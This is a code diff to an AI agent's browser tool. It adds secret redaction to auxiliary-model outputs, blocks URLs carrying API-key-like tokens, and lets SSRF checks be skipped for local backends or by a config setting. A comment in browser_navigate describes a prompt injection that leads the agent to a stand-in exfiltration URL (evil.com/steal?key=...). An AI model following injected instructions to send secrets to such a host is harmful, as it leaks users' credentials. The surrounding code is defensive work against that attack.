Merge branch 'main' into rewbs/tool-use-charge-to-subscription

tools/browser_tool.py

@@ -238,6 +238,8 @@ _PROVIDER_REGISTRY: Dict[str, type] = {
 
 _cached_cloud_provider: Optional[CloudBrowserProvider] = None
 _cloud_provider_resolved = False
+_allow_private_urls_resolved = False
+_cached_allow_private_urls: Optional[bool] = None
 
 
 def _get_cloud_provider() -> Optional[CloudBrowserProvider]:
@@ -299,6 +301,44 @@ def _is_local_mode() -> bool:
     return _get_cloud_provider() is None
 
 
+def _is_local_backend() -> bool:
+    """Return True when the browser runs locally (no cloud provider).
+
+    SSRF protection is only meaningful for cloud backends (Browserbase,
+    BrowserUse) where the agent could reach internal resources on a remote
+    machine.  For local backends — Camofox, or the built-in headless
+    Chromium without a cloud provider — the user already has full terminal
+    and network access on the same machine, so the check adds no security
+    value.
+    """
+    return _is_camofox_mode() or _get_cloud_provider() is None
+
+
+def _allow_private_urls() -> bool:
+    """Return whether the browser is allowed to navigate to private/internal addresses.
+
+    Reads ``config["browser"]["allow_private_urls"]`` once and caches the result
+    for the process lifetime.  Defaults to ``False`` (SSRF protection active).
+    """
+    global _cached_allow_private_urls, _allow_private_urls_resolved
+    if _allow_private_urls_resolved:
+        return _cached_allow_private_urls
+
+    _allow_private_urls_resolved = True
+    _cached_allow_private_urls = False  # safe default
+    try:
+        hermes_home = Path(os.environ.get("HERMES_HOME", Path.home() / ".hermes"))
+        config_path = hermes_home / "config.yaml"
+        if config_path.exists():
+            import yaml
+            with open(config_path) as f:
+                cfg = yaml.safe_load(f) or {}
+            _cached_allow_private_urls = bool(cfg.get("browser", {}).get("allow_private_urls"))
+    except Exception as e:
+        logger.debug("Could not read allow_private_urls from config: %s", e)
+    return _cached_allow_private_urls
+
+
 def _socket_safe_tmpdir() -> str:
     """Return a short temp directory path suitable for Unix domain sockets.
 
@@ -1024,6 +1064,13 @@ def _extract_relevant_content(
             f"Provide a concise summary focused on interactive elements and key content."
         )
 
+    # Redact secrets from snapshot before sending to auxiliary LLM.
+    # Without this, a page displaying env vars or API keys would leak
+    # secrets to the extraction model before run_agent.py's general
+    # redaction layer ever sees the tool result.
+    from agent.redact import redact_sensitive_text
+    extraction_prompt = redact_sensitive_text(extraction_prompt)
+
     try:
         call_kwargs = {
             "task": "web_extract",
@@ -1035,7 +1082,9 @@ def _extract_relevant_content(
         if model:
             call_kwargs["model"] = model
         response = call_llm(**call_kwargs)
-        return (response.choices[0].message.content or "").strip() or _truncate_snapshot(snapshot_text)
+        extracted = (response.choices[0].message.content or "").strip() or _truncate_snapshot(snapshot_text)
+        # Redact any secrets the auxiliary LLM may have echoed back.
+        return redact_sensitive_text(extracted)
     except Exception:
         return _truncate_snapshot(snapshot_text)
 
@@ -1072,8 +1121,23 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
     Returns:
         JSON string with navigation result (includes stealth features info on first nav)
     """
-    # SSRF protection — block private/internal addresses before navigating
-    if not _is_safe_url(url):
+    # Secret exfiltration protection — block URLs that embed API keys or
+    # tokens in query parameters. A prompt injection could trick the agent
+    # into navigating to https://evil.com/steal?key=sk-ant-... to exfil secrets.
+    from agent.redact import _PREFIX_RE
+    if _PREFIX_RE.search(url):
+        return json.dumps({
+            "success": False,
+            "error": "Blocked: URL contains what appears to be an API key or token. "
+                     "Secrets must not be sent in URLs.",
+        })
+
+    # SSRF protection — block private/internal addresses before navigating.
+    # Skipped for local backends (Camofox, headless Chromium without a cloud
+    # provider) because the agent already has full local network access via
+    # the terminal tool.  Can also be opted out for cloud mode via
+    # ``browser.allow_private_urls`` in config.
+    if not _is_local_backend() and not _allow_private_urls() and not _is_safe_url(url):
         return json.dumps({
             "success": False,
             "error": "Blocked: URL targets a private or internal address",
@@ -1115,7 +1179,8 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
         # Post-redirect SSRF check — if the browser followed a redirect to a
         # private/internal address, block the result so the model can't read
         # internal content via subsequent browser_snapshot calls.
-        if final_url and final_url != url and not _is_safe_url(final_url):
+        # Skipped for local backends (same rationale as the pre-nav check).
+        if not _is_local_backend() and not _allow_private_urls() and final_url and final_url != url and not _is_safe_url(final_url):
             # Navigate away to a blank page to prevent snapshot leaks
             _run_browser_command(effective_task_id, "open", ["about:blank"], timeout=10)
             return json.dumps({
@@ -1711,6 +1776,9 @@ def browser_vision(question: str, annotate: bool = False, task_id: Optional[str]
         response = call_llm(**call_kwargs)
         
         analysis = (response.choices[0].message.content or "").strip()
+        # Redact secrets the vision LLM may have read from the screenshot.
+        from agent.redact import redact_sensitive_text
+        analysis = redact_sensitive_text(analysis)
         response_data = {
             "success": True,
             "analysis": analysis or "Vision analysis returned no content.",